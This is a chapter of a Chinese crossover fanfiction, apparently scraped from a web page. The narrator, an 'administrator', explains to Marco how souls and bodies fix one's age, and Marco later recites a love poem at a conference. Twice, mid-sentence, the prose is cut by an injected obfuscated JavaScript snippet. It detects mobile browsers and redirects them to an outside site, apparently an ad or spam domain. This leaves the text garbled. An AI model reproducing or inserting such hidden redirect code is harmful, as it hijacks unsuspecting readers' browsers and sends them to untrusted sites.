即便是八十岁灵魂的老人,装进二十岁的躯壳里,他的生活状态与体验一定和八十岁不一样,而更倾向于二十岁的样子。 事实上,身体状态会极大程度左右人的精神面貌。 救病之人,脾气不好,正是这样的道理。 “边境管理处会以‘空间切片’的形式,捕获并记录所有人第一次到来的模样——” “我来时二十八岁,所以一直二十八岁;” “修兵来时小一千岁,但他们死神的年龄普遍上千,没有什么参考意义;他身体机能的评定是二十七、八岁,所以他也登记为二十八岁;” “卡卡西因为意外,三十岁时提前到来——如果没有那场意外,他到来时,理应是五、六十的样貌;然而因为他第一次被捕获并记录的年纪是三十,即便只是短暂地到来了一瞬,再次回来,也仍然是三十岁的样貌,而不是正常到来的五六十。” …… 至于“空间切片”是怎样做到的……涉及到上位管理员搭建世界的本质方法。 我无从说起。 在新生大学入学第一课,办事处会派出专业讲师,花费整整三天时间重点讲解。巧言者,有且需要三天时间,而我嘴笨口拙,我没有把握能讲清楚。 我只能点到即止,希望他可以自己发散理解,就像他从前做的那样。 这的确很难理解。话毕,马尔科当即陷入沉思。 “那……我也是吗?”他问我,“我的年纪也不会增长?报告书上说我身体年龄三十,那我以后一直三十岁?” “是的。无论经过多少时间,你都是三十岁。” “……”他紧了紧眉,那神情却云蒸雾绕,愈发茫然。 我知道这很难理解。距离会议开始还有半个小时,我数着他手腕上的秒针,等他慢慢思考。 时间差不多了。工作人员开始带领与会者进场。楼下人头攒动,秩序井然。听说11号管理员就在二楼,正对观众席的位子,席间人人如芒在背,坐得端正笔直。 大会尚未召开,肃穆庄重的氛围却已然奠定。 太安静了。鸟语花香轻而易举地穿透了礼堂的大门。 我轻松地听见了一楼后台的休息室里三位专家的聚首和交流——修兵尚未和他打上照面,我需要再次确认是否存在未准备的问题。 马尔科突然向前迈出一步,冷不丁地靠近了我。 “?”我纹丝不动,唯有目光流转。 “所以,我们不是相差二十五岁?”余光里,马尔科瞪着眼,嘴角微微上翘。 点点波光在他眼睛里轻盈地跳动。他语气兴奋,看起来无比雀跃。 而我似乎知道他在雀跃什么。二十五岁——马尔科一直以为我们差二十五岁吗?这种数字从他嘴里说出来,甚至是没有心的我都会倍感震撼。 二十五个年岁,相差的几乎是一辈,是一生。 我不知道他如何看待我们之间的交流。但至少我,我自以为和他交流融洽,而这种交流绝对不可能建立在“二十五岁”的差别上。 如果他在雀跃,我明白的,他说过,他想要更了解我。 如果他倍感雀跃,那说明年龄的鸿沟曾经存在于我们之间。而时间看不见、摸不着,一旦存在,仅凭人力终其一生也难以跨越——除非那沟壑从来不存 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15092673|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在。 “我们差二点五岁,”我不得不纠正马尔科。 “哈?!”他猛地一愣,扬着的唇角瞬间僵在脸上,不上不下、似笑非笑的模样竟有些滑稽。 我不由得笑话起他。我早说马尔科身上有点奇怪的少年感,大抵就源于此。 他固然拥有海量的阅历,但在这个新世界,他也始终是个愣头青。那种时不时便大吃一惊的模样,着实透露出一些清纯可爱。 我不去看他。 玻璃里,却倒映出目瞪口呆的他和哑然失笑的我。 “我们差二点五岁,”我告诉马尔科,“管理员和能力者不一样。” 自修兵走后。房门没有再被开启的迹象,走廊里也没有别的脚步声。 还有二十分钟。一楼大厅里高朋满座,部分工作人员撤离了现场,去礼堂外紧锣密鼓地推进下一阶段的安保计划。眼前端坐的都是些手无缚鸡之力的普通人,“11号管理员”的威名压得他们战战兢兢,不敢回头,更无暇关注我们这间休息室…… 我可以说,也不介意告诉马尔科真相。 “你有问过修兵,关于‘虚’的事吗?” “呃,嗯!”他连连点头,“但他说大小姐不是虚——” “嗯。” 我的确不是“虚”——“虚”在死神中,是一种凡人死后,彷徨的灵魂自我迷失而堕落成的“怪物”。 我不是“怪物”,我只是一个普普通通的管理员,我是人。 但也如卡卡西所说:我没有心,虚也没有心,于是某种意义上来说,我很像是一种虚。 “卡卡西的说法有一定的道理,”我承认,“可以简单的认为,管理员是一种虚。” “这是什么意思?” 我伸出手,让他触碰我的身体——和普通人别无二致。 事实上,能力者也好、管理员也罢,其“身体”都和普通人一样,没有任何区别。 “没有什么啊?”马尔科也说,“是有什么区别吗?” “没有。”我肯定。 这个世界的所有人,其肉身没有任何区别。办事处提供给三个世界能力者的“义骸”也可以通用,所谓的“专用”,只是针对于海贼世界超大体型的“体型强化”。其义骸本身没有任何区别。 但人和人之间存在“区别”。 客观上,的确有能力者的身体素质显著强于普通人、而管理员的能力又显著超越能力者。 而这种“区别”非常复杂,很难描述,也并没有真正意义上的名称。 道可道,非常道。一旦被定义,所被定义和命名的,就不再是那种虚无缥缈的事物本身。它只可意会,不可言传,我也只能沿用“身体”和“灵魂”举例说明—— “可以简单地理解成,个人力量的强弱,取决于灵魂。” “呃……灵魂?” “是的。阅历、经验……诸如此类,决定了灵魂的密度。密度越高,能量越强。” 卡卡西和修兵反复告诫他,不要试图和管理员对抗,正由于此。 “如果说每个人都由身体和灵魂共同组成,且两者相辅相成,那么普通人和能力者,因其身体占比大过灵魂,所以决定年龄的是身体;而管理员与之相反,起决定作用的是灵魂。” 这只是我的比喻,并不是它们真实的名称和相貌。 也无所谓它们真实的“本体”,只要马尔科知道就好了——在同样的物质世界里,组成身体的分子一样,那么所有人的身体都是一致的;决定能力大小的是身体以外的东西,那东西没有名字,便假说它是“灵魂”。 对管理员来说,灵魂的能量等级远高于身体。而管理员之外的所有人,都是身体大于灵魂。 因此,在年纪的判定上,管理员更接近于真实年纪。而其他人都偏向于肉身年纪。 “……我解释清楚了吗?” 我不确定他是否可以理解。 事实上,对于年龄的测绘,理应存在三个维度。毕竟身体不会再变化,而人活着,时间在流逝,经验会增加,身体和灵魂都是二十岁的年轻人,和身体二十、灵魂八十的“年轻人”,两者必然不同。 决定年龄的是身体和灵魂,以及两者的“占比”。 但论“占比”……千人千面,办事处并没有一个准确的定论。形而上的学说难以定义。我也只能简单地描述。 “好像明白了,”马尔科推了下眼镜,“那就是说,事实上,我不是四十三岁,你也不是十七八岁?” “是的。” “我是三十岁,你二十七……不到二十八?” “是的。” 我们不是差二十五岁;而是差二点五岁。能自在交流,是因为我们原本就是同龄人。真相并不是他所以为的,差了整整一辈。 快十点了。阳光透过偏窗,慢慢攀上我裸露的脚踝。 我不曾留意,只觉春光轻盈而温暖;蓦然回首,却见水晶铺展着日光的纯粹,我细长的鞋跟下踏着一道七色彩虹。 它真美—— 春天不可捉摸,却在我脚下变换出绚丽的色彩。 我静静地欣赏。偶一抬头,那样绚丽的颜色竟也出现在马尔科的眼中。 “那我不是叔叔,我是哥哥,对吧?”马尔科问我。明媚的春光也在他眼睛里跃动、变换。 “……”这种描述好奇怪,我不知道他想说什么,但我点头,从字面上承认他的说法。 “嗯,是的。” “嗯……”马尔科也跟着我一起点头。 明媚的春光就在他眼里,又从他清澈的眼里溢出,遍布整张面容。 笑意在他唇角汇聚。马尔科咧着嘴,不断偏头注视着窗外,而每次回身,与我对视不到半秒,又飞快地偏过头去…… 马尔科……是不是在高兴? 我不知道为什么,但我已经可以从他的动作里阅读出他的“喜悦”。 为什么? 当哥哥很开心吗? 68.24 春光(5) 我仍然没有办法理解马尔科。 其实很多时候,我也不理解修兵和卡卡西。 人反正不能完全理解另一个人的——我总是告诫自己,人甚至不能完全理解自己,所以我不能理解他又有什么关系? 追求完美的意义在于“追求”所散发出的积极进取的信号,有此令旗才有机会拾级而上,而不在于“十全十美”本身。事实上,世上也从来不存在所谓的“完美”,完美总是因为处境而变化;故而人没有必要因为不够完美而苛责自己。 不理解亦然。 只要走在追求理解的路上,即便我永远不能理解又怎样?它不重要啊。 重要的是我追求理解的意愿马尔科接收到了,所以他笑——他愿意笑就笑吧,笑总比哭好。 他笑起来神采飞扬,少年气息扑面而来。 我留意着他的笑容,追逐着他的欢愉。而他突然一愣,不笑了。 讲台上开始进行设备调试,不多时,演出即将开始。 他的戛然而止似乎是因为目光不经意看到了此处——他紧张了吗?我瞥了眼身侧,但见他喉结滑动,很明显,是紧张了。 书上说,这种时候需要亲近之人的安慰。 我不会安慰,便伸出手,试图用肢体接触帮助他抚平心绪。 马尔科一愣,笑道:“怎么了?突然摸我做什么yoi?” “在紧张吗?” “没有,我只是在想……” 他把视线移到了远处,连同我的注意力一起,带到了户外的草坪上—— 那里惠风和煦,阳光明媚。 清脆悦耳的莺歌燕啼里,杂草破土而出,不经意间涂青了整个后院,也染绿了整个校园。春的气息就在万象更新里与日俱增。那他望向那里,伴随着一点了然的笑意,却又久久不再言语。 ——他在想什么?我等着马尔科的下文。 他微微一笑,悠然说起:“你的意思是……身体的状态会通过行动和表达,反过来影响到灵魂?” “是的。” “那,你也会被影响的么?” “会的。” “难怪呢,”他悟了,“我忽然想起某个可爱的小姑娘想吃羊肉汤,想得都要哭了……” ——世界上还有人会因为羊肉汤哭了?先前没听说过。 马尔科觉得好笑,说着话,笑意像点在白水里的墨,倏地一下,从无到有,瞬间渲染开来。 吐槽我的话从他嘴里飘出来,我也深以为然。 话音将落,玻璃里的他和我展露着同样的笑容。 我知道他的意思,其实不仅是他,就连我也没听说过。 小说里只会写女主角因为名落孙山、失恋、家庭纷争……各种失利而流泪,从没听说过因为得不到羊肉汤而哭泣。如果有,那一定是因为娇惯成性。 “大小姐”的称谓、十七八岁的外表、娇惯成性的表现……一以贯之,逻辑严密,似乎没有什么不对? 当然,马尔科现在知道不对了。 “……这算是‘被身体影响’吗?”他问我。 “是的。”我承认,这当然算。 同样的话,二十八岁说出口和十七八岁说出口,给人的“感觉”天差地别。正因我十七八的外表,他才不曾生疑,倘若二十八岁的我说同样的话……马尔科大概会察觉到“古怪”,而不是那时候的手足无措。 我也想起来了,那时候他无语又好笑的表现,我抢他苦瓜吃,他也是那样的哭笑不得。 年纪从来都是问题,成熟意味着沉稳。 小说里,但凡女主角按常理出牌——因为名落孙山,男主会安慰“下次一定”;因为失恋,闺蜜会安慰“下一个更好”……而不按常理出牌,因为羊肉汤,恐怕就只能换来马尔科那哭笑不得,无从下手的结果。 可见“适当越界”固然是亲密关系的不二法门,但对马尔科来说,“无理取闹”并不是绝对的“通解”。 如果纯粹的、情感性的骄纵让他感到吃力……我暗自思索,今后的日常里要减少使用这类型的技巧。 对此,马尔科并无回应。 自我话毕,他望着窗外,径自沉默着。 我怕他误会,不由得抿了唇,强调着:“但我真的喜欢羊肉汤。” “我知道,”蓦然回首,他脸上仍挂着欢愉的笑意,“虽然是‘装’的,但你真的很喜欢。” 他似乎并没有误会,只是与我同出一辙地沉默和思索。 马尔科一贯是聪明的,从前他不知情,如今恍然大悟,一通百通。 “我说呢,”马尔科讲,“你那么聪明,可我叫你小姑娘,你一点反应都没有……还问我哪里有小姑娘?” 可我为什么要有反应呢?我二十八岁,二十八岁是什么“小姑娘”? 如果他对我说“小姑娘”,我自然而然地会认为他特指的不是我,而是其他人。除非马尔科明确告诉我,他说的是我—— “!”我这才明白过来,不免大惊失色,“……你说我吗?!” “是你呀,大小姐,”他拖长了调子,语气无奈又好笑,“我身边,除了你这个‘小姑娘’还能有谁啊……” 除了我没有别人了,马尔科每天都和我在一起,从早到晚、随时随地、形影不离。话也的确是我说的——我已经想起来了,我是和马尔科说过,那天天冷,冻得我脑袋成了浆糊,他问我吃什么,我和他撒娇要吃羊肉汤。 卡卡西所言不虚,我是真缺心眼。不仅手脚笨拙,反应也迟钝。 现在恍然大悟,后知后觉,我只觉得好笑—— “对不起,我不知道你在说我。” 我真的不知道。从前没有人这样称呼过我,我始终都是“管理员大人”,在认识修兵和卡卡西之前,甚至“大小姐”都不是,更别提什么“小姑娘”—— 那听起来是对小孩子的称呼,而且非常亲昵,充满了长者的宠爱? 可我不是什么“小孩子”,我是“大人”“管理员大人”。 马尔科怎么会这样称呼我?怎么会有人对管理员说这种话?这未免太匪夷所思了。 我早知道马尔科和别人不一样,战战兢兢是下位者之于上位者天然的生存姿态,而他却不像别人那样唯唯诺诺,在这一点上绝对是个“例外”。但我也没有想过马尔科能特立独行到这般地步—— 他叫我“小姑娘”?! 管理员是构建世界的基石,其存在足以与“神明”比肩。管理员之于能力者意味着绝对权威。但他叫我“小姑娘”?! “……从来没有人这样叫过我!” 我告诉马尔科,除了他,真的没有人这样称呼过我。 甚至于即便我现在知道他是在称呼我,我仍然倍感诧异。 原则上,管理员之间禁止拉帮结派。虽然大多数管理员都会违反规定,有自己的社交圈,但我完全没有,唯一的关系就是修兵和卡卡西。 卡卡西也不爱社交,工作和生活泾渭分明,下班根本不和办事处来往。 修兵倒是人缘好,和同事们相处融洽。偶尔去找修兵蹭吃蹭喝时会和他们碰面,但他们都知道我们这是I人之家,不喜社交,也不会太热情地招呼我,即便招呼也只是跟着修兵叫“大小姐”。 那种亲切的话用来叫我,只会让我感觉不可思议。 “啊?从前都没有人这样叫过你吗?”他不信。 “真的,”可是是真的,从来没有人这样称呼过我,“从没有过,只有你。” 小姑娘——这种亲昵的称呼,在小说里代表了绝对的宠爱。马尔科居然用它来称呼我,我深感诧异。 他总是有许多奇思妙想,上次还形容我为“公主”—— 可我当然不是什么“公主”,自然也不是什么“小姑娘”。如果一个耄耋老人走在路上,听着路人呼唤“小伙”,并不会回头;我不知道他在说我,不是故意,也实在理所应当。 “原来你二十八岁啊……”马尔科喃喃低语,“二十八岁……是比较成熟的年纪了呢?” “是的。”我赞同他的说法。 “难怪,难怪,”他抽了口气,不断述说着,“我一直觉得奇怪……” “什么?” “你非常安静,不爱说话,但必要时一开口……格外有条理。” “是吗?”我是的,但我并不清楚,他指哪件事? “是啊,”马尔科言之凿凿,“我早发现了,但我……不知道怎么回事。好几次了,你跟老师说话的时候是,跟我聊浪漫的时候也是……” 所以那次他愣了许久也没有回话。 其实不是对大海不感兴趣的无语,而是对我的惊奇——马尔科告诉我。 “……不是很奇怪吗?”他说,“平时一起上学,大小姐都不说话的呀!” “你每天都坐在我身边看小说,一坐一整天,不吵不闹,一直闷头看书……又不说话,又不聊天,分明文静。但怎么一说起来,逻辑缜密,条理清晰,起承转合,层层递进……说起正事,信手拈来。怎么和平常的状态迥乎不同?” 所以他不知道这是怎么一回事? 起初不知道,只是隐隐发现了端倪。 “……年轻女孩子学校里很多,群里头每天都在聊天。那次我看了你的牙齿,你说二十不到,我以为你真的不到二十,”马尔科说,“那就跟她们是同龄人,但要是同龄人……他们说话和你说话,风格、腔调完全不一样?” 他点到即止,不用说,我明白他的意思。 人言三十而立。二十八岁的我,是绝对的“大人”。大人和孩子的观念自然不同。即便聊起同样的话题,所关注的切入点也不尽相同。 事实上,在学校里待着的这段时间,我耳听八方,也常常察觉二十八岁的我,和学校里十七八岁的学生们天差地别。 他们聊着美食美妆、吃吃喝喝、兴高采烈得像初升的太阳,他们身上青春活泼、自由浪漫、热情张扬;而我对这些鲜活的事物漠不关心一以贯之,是中天的烈日,一板一眼、条条框框。 与她们相比,我承认:“我比较无趣。” 马尔科却连声否认:“不是无趣!哪里无趣?我是说——” 他舔了下嘴唇,缓声说着:“我是说,年轻,没有经过时间洗礼,心思跳跃,有些观念不着边际,眼花缭乱。但……大小姐的话,就比较实际,没有太多的幻想,非常的……稳重。” “这样说能理解吗?稳重是指——” “嗯。” 他不用说,我明白的。 我年长一些,已经经过了乱花渐欲迷人眼的阶段。而沉稳的作风,为他所欣赏。 我非常理解他的表达,也一直知道这半年来马尔科始终没有在学校里交到朋友,正是因为年纪差——年纪代表了阅历,尤其对于他这样几十年漂泊海上,千帆历经的成熟男士而言。 而年轻则代表活力,但年轻也代表着莽撞。 这种莽撞是年轻人无法解决的,但凡拥有解决问题的能力,从一开始就不会制造问题,于是那些问题只能由有能力的年长者买单,所以年轻约等于“麻烦”。 ——我最讨厌麻烦。 一定程度上,源自与他如出一辙的理念。 所以他不交朋友这件事,我从未启口。因为我真的能理解他规避风险的心情——虽然我没有心。 “和我说话,不会无聊吗?” “不会啊,”他不以为然,“干嘛这么说自己?你很有趣啊!” “因为我的话题很僵硬,生涩,不是很动听。” “哈?那不是很好吗,简单直接,就事论事,也好相处。而且,”马尔科说,“而且遇到你感兴趣的……其实也挺能说的。” “……”什么意思,我没听懂,他夸我还是损我? “你不是爱看小说吗?”马尔科很快给出了解释,“上次和我聊小说……你真的很有热情!” “……”我更听不懂了,不得不纠正,“我不爱看小说,我只是在学习。我也不是有热情,我是看不懂!” “嗯,我知道,”他笑着,“我是说……其实大小姐愿意和我分享!” “是的。” “那怎么会无趣呢?”马尔科坚持道,“拒绝交流、言之无物,才会让人感觉无趣吧?” “……”这我就不知道了。 事实上,有趣与无趣,是纯粹主观的人为判定。每个人都因为各自的处境,有不同的判断标准。 而在马尔科的判定里,我是有趣的——这就够了,即便我知道,我又何必去反驳? 小孩子才执着于表面的对错,而大人允许一切发生。 我是大人,唯有莞尔:“经历和沉淀都是独一无二、不可多得的宝藏,不是吗?” “……”他看着我的眼睛,复刻着同样的笑容,“嗯,是的。” 就像我们—— 虽然有过裂隙,但裂隙如何不是一种机缘,促使着我们发现问题、正视问题、解决问题。它并不可惧,能解决的问题都不算“问题”,而且一旦跨越,再回头,无非轻舟已过万重山。 年纪意味着经历,经历给予人底气,促使人无惧风雨,从容不迫。 “……是吗?”当我问他。 “嗯,是的,”马尔科连连点头,“是的,十七八岁可说不出这种话……” “因为我二十八岁了。” “我知道,我只是说……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122702|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>只是什么呢,他又不说。 窗外有阵阵鸟鸣。他的目光随着那阵啼啭,再次飘向了远方的花草树木。阳光穿透浮云,照着他眼波轻盈如泉水……跳跃着、感叹间,余光又窥视着身边的我。 马尔科总是在看我,不知道为什么。 但我不会再保留疑问了,我会主动问询:“怎么了。如果你有问题,可以告诉我,我们一起解决。” “嗯,没有,”他笑了笑,“我只是觉得……真正的适合果然不会存在‘勉强’。” “什么?” “没、没有,就是说……你很少穿自己的裙子,这条裙子真的很漂亮。很适合你。这种裙子很贵吧?” “是的。” “但修兵说,只要今天好好表现,或许我会成为B类作者……届时,稿费也会增多?” “是的。”我不清楚,但修兵说是,我想是的。 “这样的话,”马尔科笑着,“那我送给大小姐的裙子,大小姐会穿吧?” “会的。”我点头肯定。 “嗯,”他也点头肯定,“那我要好好表现。” “……”我没有接话,默认他的说辞。 还剩下十分钟。 窗外的阳光已从我的脚踝爬上了腿弯。 我想马尔科的确应该好好表现,但不是因为我,而是因为人往高处走,只有那里可以承载他的梦想。 至于裙子……其实我仍然不懂,自打昨晚穿上这条裙子起,马尔科日渐频繁的反常? ——是因为裙子吗?区区一条裙子,怎么会有如此大的影响力? ——就因为这条裙子的风格使我显得不同寻常? 可我瞥向他的侧脸,见他也不同寻常。 人一旦脱下了学生制服,也褪去了活泼青春的少年气;西装革履,风度翩翩,是“成熟”独有的韵味。 那些过去不能“忘记”,怎么能“忘记”?它会永远地镌刻在身体里,一丝不落地成为他自己。 无数历练带来的成长,会丰富一个人灵魂的密度;而渐增的灵魂密度会拔高人的视野,形成与众不同、自成一格的“眼界”和“风尚”。 即便他当下拥有着“学生”的身份,内里“成熟”的底蕴仍然深刻地从眼眸中流露出。举手投足间,尽是坦然自若的洒脱。周身气味也不是清新自然的桃或橘,而是成熟典雅的木调香。 这种香不会出现在十七八岁的篮球队队副身上。倘若出现,只像小孩偷穿大人衣服一样滑稽。 马尔科能承载住香水的味道,必然因为他本自具有相关的调性。 我如何不是第一次见到这样的马尔科呢? 他不同寻常的扮相也同样令我眼前一亮。 时间到了。大幕徐徐展开,各色人物粉墨登场。 主持人呼唤起他的名字—— “马尔科。” “马尔科?” …… 没有锁链的拘束,鞋根踏在大理石地面,只会发出清脆悦耳的轰鸣。 哒、哒、哒。 脚步声清晰有力,没有年过四十的疲惫与沉重,只有三十而立,风华正茂的虎虎生威。 从二楼走廊,到一楼舞台。任凭一双双目光、一道道口令肆意驱赶——哒、哒、哒,从容是他唯一的回应。 “马尔科先生,耽搁了有点长啊~” “抱歉,”他推了下眼镜,办着我的交代,“听完大小姐的吩咐,才能与会。” 主持人讪然一笑,聪明地选择不在“管理员”的问题上纠结,只管指引马尔科站到舞台中间。 那位置正对专家团,原十二番队三席阿近就端坐其中。 这是个好消息—— 来人是阿近,并非涅茧利。 在我的印象里,阿近和修兵有些过往的交情,理应会特别关注。而不带项圈的能力者少见,在能力者之间尤为引人瞩目。有这一例,他大概已经能猜出早先见面的安保负责人、后台相遇的修兵、台上初见的马尔科同为一路。 这当然很危险,可今日有上位管理员亲临,又有修兵居然毫不避讳地前去相见…… 有些事情并不难猜。何况他目前是“首席”。 原则上,到来后不能再与过去的人事物有所牵扯。今日修兵反其道而行,势必有因。其因自然在于马尔科—— 卡卡西教过我,人情好用,要善加利用。 我不知道阿近如今的性情何如,是否会体谅过去与修兵的情分,不去为难他如今的家人?我只做最坏的打算——他能念旧情固然好,而倘若他已然忘怀那些过去,彻底融入了当下的生活……这对阿近本人而言极好,对我们也无妨。不看僧面看佛面,管理员本人在场,即便我什么都不做,也没有人敢为难马尔科。 “你好。” “你好。” 事实证明,阿近比涅茧利队长亲切可爱许多。 没等主持人引入,只待马尔科就绪,他率先拿起了麦克风。 “早先在刊物上拜读了你的文章,旁征博引,大气恢弘。想来阅历丰富,理应不年轻了……真人倒是青年才俊,一表人才。” 马尔科不紧不慢道:“……也有三十了。” “嗯,”阿近点着头,“那首诗也令人印象深刻,让我想起了喜好文学的朋友。” “诚然,”主持人一点就透,接过话茬,“医学惯来是严肃学科,很少见有人在期刊头版写诗……虽是自我介绍,也着实真是让人印象深刻。” 隔行如隔山。 我没有看过马尔科的大作,也不知道他曾经写过诗。台上心领神会的东西,台下诸位同我一样摸不着头脑。 主持人自然而然地说道:“请今日的自我介绍环节,就请马尔科先生用诗歌来开篇了。” 马尔科淡然一笑:“正有此意。” 既然如此,主持人退后,把舞台完全交给了马尔科。 聚光灯向他靠拢。无所谓成败,只要登上那绚丽的舞台,他已是无冕之王。 “诸位见笑。我初来乍到,人微言轻,暂无显著的成就,过去……既然已经过去,也无谈论的必要。但版面空着有失雅观,不如写点什么……于是有了这首诗《爱人》。” 那些咬文嚼字的辞藻,马尔科推说不会。可他哪里不会?我看他从善如登。 万籁俱寂中,我听见清脆的鸟鸣。 “那日我们聊到自由—— 她说自由是洁白的云朵, 许我纵情游历每一缕清风。 夕阳落在她清澈的眼睛里, 我不敢说, 我分明是一只鸟, 不向往宽广的天空, 我只向往她的牢笼。” ……